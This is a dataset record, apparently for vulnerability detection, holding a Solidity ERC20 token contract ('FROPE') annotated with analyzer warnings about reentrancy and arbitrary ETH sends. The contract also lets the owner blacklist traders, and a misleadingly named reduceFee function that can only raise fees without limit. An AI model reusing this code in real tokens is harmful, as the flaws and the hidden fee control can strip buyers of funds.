"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract FROPE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: bf33ced): FROPE._taxWallet should be immutable \n\t// Recommendation for bf33ced: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4e5c11d): FROPE._initialBuyTax should be constant \n\t// Recommendation for 4e5c11d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: a96e732): FROPE._initialSellTax should be constant \n\t// Recommendation for a96e732: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0e12521): FROPE._reduceBuyTaxAt should be constant \n\t// Recommendation for 0e12521: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2548d00): FROPE._reduceSellTaxAt should be constant \n\t// Recommendation for 2548d00: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1a482ba): FROPE._preventSwapBefore should be constant \n\t// Recommendation for 1a482ba: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"FROPE\";\n\n string private constant _symbol = unicode\"FROPE\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5f8ba56): FROPE._taxSwapThreshold should be constant \n\t// Recommendation for 5f8ba56: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 159555d): FROPE._maxTaxSwap should be constant \n\t// Recommendation for 159555d: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4200000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5dd984d): FROPE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5dd984d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 30029bb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 30029bb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5c11044): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5c11044: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 30029bb\n\t\t// reentrancy-benign | ID: 5c11044\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 30029bb\n\t\t// reentrancy-benign | ID: 5c11044\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 010edd2): FROPE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 010edd2: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5c11044\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 30029bb\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c501329): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c501329: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2dc95c6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2dc95c6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 2, \"Only 2 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: c501329\n\t\t\t\t// reentrancy-eth | ID: 2dc95c6\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c501329\n\t\t\t\t\t// reentrancy-eth | ID: 2dc95c6\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 2dc95c6\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 2dc95c6\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 2dc95c6\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: c501329\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 2dc95c6\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 2dc95c6\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: c501329\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: c501329\n\t\t// reentrancy-events | ID: 30029bb\n\t\t// reentrancy-benign | ID: 5c11044\n\t\t// reentrancy-eth | ID: 2dc95c6\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: c457b88): FROPE.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for c457b88: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: c501329\n\t\t// reentrancy-events | ID: 30029bb\n\t\t// reentrancy-eth | ID: 2dc95c6\n\t\t// arbitrary-send-eth | ID: c457b88\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ca001ad): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ca001ad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 441b11c): FROPE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 441b11c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3136318): FROPE.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 3136318: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 21672bf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 21672bf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: ca001ad\n\t\t// reentrancy-eth | ID: 21672bf\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: ca001ad\n\t\t// unused-return | ID: 441b11c\n\t\t// reentrancy-eth | ID: 21672bf\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: ca001ad\n\t\t// unused-return | ID: 3136318\n\t\t// reentrancy-eth | ID: 21672bf\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: ca001ad\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 21672bf\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee >= _finalBuyTax && _newFee >= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10177.sol",
"size_bytes": 19491,
"vulnerability": 4
} |
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